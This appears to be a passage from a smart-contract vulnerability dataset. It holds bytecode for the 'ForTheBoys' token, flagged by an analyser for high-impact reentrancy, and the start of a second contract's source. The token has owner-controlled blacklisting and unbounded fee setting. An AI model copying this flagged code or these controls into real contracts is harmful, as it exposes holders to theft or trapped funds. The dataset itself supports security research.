0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d51565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e22565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e7a565b61087b565b6040516102649190612ed5565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f4f565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f79565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f94565b6108cf565b6040516102f79190612ed5565b60405180910390f35b34801561030c57600080fd5b506103156109a8565b6040516103229190612f79565b60405180910390f35b34801561033757600080fd5b506103406109ae565b60405161034d9190613003565b60405180910390f35b34801561036257600080fd5b5061036b6109b7565b604051610378919061302d565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613048565b6109dd565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906130a1565b610acd565b005b3480156103df57600080fd5b506103e8610b7f565b005b3480156103f657600080fd5b50610411600480360381019061040c9190613048565b610c50565b60405161041e9190612f79565b60405180910390f35b34801561043357600080fd5b5061043c610ca1565b005b34801561044a57600080fd5b50610465600480360381019061046091906130ce565b610df4565b005b34801561047357600080fd5b5061047c610e93565b6040516104899190612f79565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b49190613048565b610e99565b6040516104c69190612f79565b60405180910390f35b3480156104db57600080fd5b506104e4610eb1565b6040516104f1919061302d565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906130a1565b610eda565b005b34801561052f57600080fd5b50610538610f8c565b6040516105459190612f79565b60405180910390f35b34801561055a57600080fd5b50610563610f92565b6040516105709190612e22565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b91906130ce565b610fcf565b005b3480156105ae57600080fd5b506105c960048036038101906105c491906130fb565b61106e565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612e7a565b611125565b6040516105ff9190612ed5565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a9190613048565b611143565b60405161063c9190612ed5565b60405180910390f35b34801561065157600080fd5b5061065a611163565b005b34801561066857600080fd5b50610683600480360381019061067e91906131bd565b61123c565b005b34801561069157600080fd5b506106ac60048036038101906106a7919061321d565b611376565b6040516106b99190612f79565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e491906130ce565b6113fd565b005b3480156106f757600080fd5b50610712600480360381019061070d9190613048565b61149c565b005b61071c61165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132a9565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132c9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613327565b9150506107ac565b5050565b60606040518060400160405280600a81526020017f466f72546865426f797300000000000000000000000000000000000000000000815250905090565b600061088f61088861165d565b8484611665565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108dc84848461182e565b61099d846108e861165d565b61099885604051806060016040528060288152602001613d6760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e61165d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b19092919063ffffffff16565b611665565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e561165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906132a9565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad561165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b59906132a9565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc061165d565b73ffffffffffffffffffffffffffffffffffffffff161480610c365750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1e61165d565b73ffffffffffffffffffffffffffffffffffffffff16145b610c3f57600080fd5b6000479050610c4d81612115565b50565b6000610c9a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612181565b9050919050565b610ca961165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2d906132a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfc61165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e80906132a9565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee261165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f66906132a9565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600381526020017f4654420000000000000000000000000000000000000000000000000000000000815250905090565b610fd761165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b906132a9565b60405180910390fd5b8060188190555050565b61107661165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa906132a9565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061113961113261165d565b848461182e565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a461165d565b73ffffffffffffffffffffffffffffffffffffffff16148061121a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120261165d565b73ffffffffffffffffffffffffffffffffffffffff16145b61122357600080fd5b600061122e30610c50565b9050611239816121ef565b50565b61124461165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c8906132a9565b60405180910390fd5b60005b838390508110156113705781600560008686858181106112f7576112f66132c9565b5b905060200201602081019061130c9190613048565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061136890613327565b9150506112d4565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61140561165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611492576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611489906132a9565b60405180910390fd5b8060178190555050565b6114a461165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611531576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611528906132a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036115a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611597906133e1565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cb90613473565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173a90613505565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118219190612f79565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361189d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189490613597565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361190c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190390613629565b60405180910390fd5b6000811161194f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611946906136bb565b60405180910390fd5b611957610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119c55750611995610eb1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db057601560149054906101000a900460ff16611a54576119e6610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4a9061374d565b60405180910390fd5b5b601654811115611a99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a90906137b9565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b3d5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b739061384b565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c295760175481611bde84610c50565b611be8919061386b565b10611c28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1f90613933565b60405180910390fd5b5b6000611c3430610c50565b9050600060185482101590506016548210611c4f5760165491505b808015611c67575060158054906101000a900460ff16155b8015611cc15750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cd95750601560169054906101000a900460ff165b8015611d2f5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d855750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611dad57611d93826121ef565b60004790506000811115611dab57611daa47612115565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e575750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f0a5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f095750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f18576000905061209f565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fdb57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120865750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561209e57600a54600c81905550600b54600d819055505b5b6120ab84848484612466565b50505050565b60008383111582906120f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f09190612e22565b60405180910390fd5b50600083856121089190613953565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561217d573d6000803e3d6000fd5b5050565b60006006548211156121c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121bf906139f9565b60405180910390fd5b60006121d2612493565b90506121e781846124be90919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222657612225612bb0565b5b6040519080825280602002602001820160405280156122545781602001602082028036833780820191505090505b509050308160008151811061226c5761226b6132c9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612313573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123379190613a2e565b8160018151811061234b5761234a6132c9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123b230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611665565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612416959493929190613b54565b600060405180830381600087803b15801561243057600080fd5b505af1158015612444573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061247457612473612508565b5b61247f848484612545565b8061248d5761248c612710565b5b50505050565b60008060006124a0612724565b915091506124b781836124be90919063ffffffff16565b9250505090565b600061250083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612783565b905092915050565b6000600c5414801561251c57506000600d54145b61254357600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612557876127e6565b9550955095509550955095506125b586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461284e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061264a85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612696816128f6565b6126a084836129b3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126fd9190612f79565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612758670de0b6b3a76400006006546124be90919063ffffffff16565b82101561277657600654670de0b6b3a764000093509350505061277f565b81819350935050505b9091565b600080831182906127ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127c19190612e22565b60405180910390fd5b50600083856127d99190613bdd565b9050809150509392505050565b60008060008060008060008060006128038a600c54600d546129ed565b9250925092506000612813612493565b905060008060006128268e878787612a83565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061289083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120b1565b905092915050565b60008082846128a7919061386b565b9050838110156128ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128e390613c5a565b60405180910390fd5b8091505092915050565b6000612900612493565b905060006129178284612b0c90919063ffffffff16565b905061296b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129c88260065461284e90919063ffffffff16565b6006819055506129e38160075461289890919063ffffffff16565b6007819055505050565b600080600080612a196064612a0b888a612b0c90919063ffffffff16565b6124be90919063ffffffff16565b90506000612a436064612a35888b612b0c90919063ffffffff16565b6124be90919063ffffffff16565b90506000612a6c82612a5e858c61284e90919063ffffffff16565b61284e90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a9c8589612b0c90919063ffffffff16565b90506000612ab38689612b0c90919063ffffffff16565b90506000612aca8789612b0c90919063ffffffff16565b90506000612af382612ae5858761284e90919063ffffffff16565b61284e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303612b1e5760009050612b80565b60008284612b2c9190613c7a565b9050828482612b3b9190613bdd565b14612b7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b7290613d46565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612be882612b9f565b810181811067ffffffffffffffff82111715612c0757612c06612bb0565b5b80604052505050565b6000612c1a612b86565b9050612c268282612bdf565b919050565b600067ffffffffffffffff821115612c4657612c45612bb0565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c8782612c5c565b9050919050565b612c9781612c7c565b8114612ca257600080fd5b50565b600081359050612cb481612c8e565b92915050565b6000612ccd612cc884612c2b565b612c10565b90508083825260208201905060208402830185811115612cf057612cef612c57565b5b835b81811015612d195780612d058882612ca5565b845260208401935050602081019050612cf2565b5050509392505050565b600082601f830112612d3857612d37612b9a565b5b8135612d48848260208601612cba565b91505092915050565b600060208284031215612d6757612d66612b90565b5b600082013567ffffffffffffffff811115612d8557612d84612b95565b5b612d9184828501612d23565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612dd4578082015181840152602081019050612db9565b83811115612de3576000848401525b50505050565b6000612df482612d9a565b612dfe8185612da5565b9350612e0e818560208601612db6565b612e1781612b9f565b840191505092915050565b60006020820190508181036000830152612e3c8184612de9565b905092915050565b6000819050919050565b612e5781612e44565b8114612e6257600080fd5b50565b600081359050612e7481612e4e565b92915050565b60008060408385031215612e9157612e90612b90565b5b6000612e9f85828601612ca5565b9250506020612eb085828601612e65565b9150509250929050565b60008115159050919050565b612ecf81612eba565b82525050565b6000602082019050612eea6000830184612ec6565b92915050565b6000819050919050565b6000612f15612f10612f0b84612c5c565b612ef0565b612c5c565b9050919050565b6000612f2782612efa565b9050919050565b6000612f3982612f1c565b9050919050565b612f4981612f2e565b82525050565b6000602082019050612f646000830184612f40565b92915050565b612f7381612e44565b82525050565b6000602082019050612f8e6000830184612f6a565b92915050565b600080600060608486031215612fad57612fac612b90565b5b6000612fbb86828701612ca5565b9350506020612fcc86828701612ca5565b9250506040612fdd86828701612e65565b9150509250925092565b600060ff82169050919050565b612ffd81612fe7565b82525050565b60006020820190506130186000830184612ff4565b92915050565b61302781612c7c565b82525050565b6000602082019050613042600083018461301e565b92915050565b60006020828403121561305e5761305d612b90565b5b600061306c84828501612ca5565b91505092915050565b61307e81612eba565b811461308957600080fd5b50565b60008135905061309b81613075565b92915050565b6000602082840312156130b7576130b6612b90565b5b60006130c58482850161308c565b91505092915050565b6000602082840312156130e4576130e3612b90565b5b60006130f284828501612e65565b91505092915050565b6000806000806080858703121561311557613114612b90565b5b600061312387828801612e65565b945050602061313487828801612e65565b935050604061314587828801612e65565b925050606061315687828801612e65565b91505092959194509250565b600080fd5b60008083601f84011261317d5761317c612b9a565b5b8235905067ffffffffffffffff81111561319a57613199613162565b5b6020830191508360208202830111156131b6576131b5612c57565b5b9250929050565b6000806000604084860312156131d6576131d5612b90565b5b600084013567ffffffffffffffff8111156131f4576131f3612b95565b5b61320086828701613167565b935093505060206132138682870161308c565b9150509250925092565b6000806040838503121561323457613233612b90565b5b600061324285828601612ca5565b925050602061325385828601612ca5565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613293602083612da5565b915061329e8261325d565b602082019050919050565b600060208201905081810360008301526132c281613286565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061333282612e44565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613364576133636132f8565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133cb602683612da5565b91506133d68261336f565b604082019050919050565b600060208201905081810360008301526133fa816133be565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061345d602483612da5565b915061346882613401565b604082019050919050565b6000602082019050818103600083015261348c81613450565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006134ef602283612da5565b91506134fa82613493565b604082019050919050565b6000602082019050818103600083015261351e816134e2565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613581602583612da5565b915061358c82613525565b604082019050919050565b600060208201905081810360008301526135b081613574565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613613602383612da5565b915061361e826135b7565b604082019050919050565b6000602082019050818103600083015261364281613606565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136a5602983612da5565b91506136b082613649565b604082019050919050565b600060208201905081810360008301526136d481613698565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613737603f83612da5565b9150613742826136db565b604082019050919050565b600060208201905081810360008301526137668161372a565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137a3601c83612da5565b91506137ae8261376d565b602082019050919050565b600060208201905081810360008301526137d281613796565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613835602383612da5565b9150613840826137d9565b604082019050919050565b6000602082019050818103600083015261386481613828565b9050919050565b600061387682612e44565b915061388183612e44565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138b6576138b56132f8565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b600061391d602383612da5565b9150613928826138c1565b604082019050919050565b6000602082019050818103600083015261394c81613910565b9050919050565b600061395e82612e44565b915061396983612e44565b92508282101561397c5761397b6132f8565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139e3602a83612da5565b91506139ee82613987565b604082019050919050565b60006020820190508181036000830152613a12816139d6565b9050919050565b600081519050613a2881612c8e565b92915050565b600060208284031215613a4457613a43612b90565b5b6000613a5284828501613a19565b91505092915050565b6000819050919050565b6000613a80613a7b613a7684613a5b565b612ef0565b612e44565b9050919050565b613a9081613a65565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613acb81612c7c565b82525050565b6000613add8383613ac2565b60208301905092915050565b6000602082019050919050565b6000613b0182613a96565b613b0b8185613aa1565b9350613b1683613ab2565b8060005b83811015613b47578151613b2e8882613ad1565b9750613b3983613ae9565b925050600181019050613b1a565b5085935050505092915050565b600060a082019050613b696000830188612f6a565b613b766020830187613a87565b8181036040830152613b888186613af6565b9050613b97606083018561301e565b613ba46080830184612f6a565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613be882612e44565b9150613bf383612e44565b925082613c0357613c02613bae565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c44601b83612da5565b9150613c4f82613c0e565b602082019050919050565b60006020820190508181036000830152613c7381613c37565b9050919050565b6000613c8582612e44565b9150613c9083612e44565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613cc957613cc86132f8565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d30602183612da5565b9150613d3b82613cd4565b604082019050919050565b60006020820190508181036000830152613d5f81613d23565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122042ef92487c3640e8ff193602a174adb59ecb4502785d3b2b89ab7bd2b8bbb3bf64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,455
0x9e2419c8fc0a7c2f2b22cc8de9ac484ad00d1f57
pragma solidity ^0.4.21; contract SafeMath { uint256 constant public MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; function safeAdd(uint256 x, uint256 y) constant internal returns (uint256 z) { if (x > MAX_UINT256 - y) throw; return x + y; } function safeSub(uint256 x, uint256 y) constant internal returns (uint256 z) { if (x < y) throw; return x - y; } function safeMul(uint256 x, uint256 y) constant internal returns (uint256 z) { if (y == 0) return 0; if (x > MAX_UINT256 / y) throw; return x * y; } function safeDiv(uint256 x, uint256 y) constant internal returns (uint256 z) { uint256 f = x / y; return f; } } contract ERC223ReceivingContract { struct inr { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data){ inr memory igniter; igniter.sender = _from; igniter.value = _value; igniter.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); igniter.sig = bytes4(u); } } contract iGniter is SafeMath { struct serPayment { uint256 unlockedBlockNumber; uint256 unlockedTime; } struct dividends { uint256 diviReg; uint256 diviBlocks; uint256 diviPayout; uint256 diviBalance; uint256 _tier1Reg; uint256 _tier2Reg; uint256 _tier3Reg; uint256 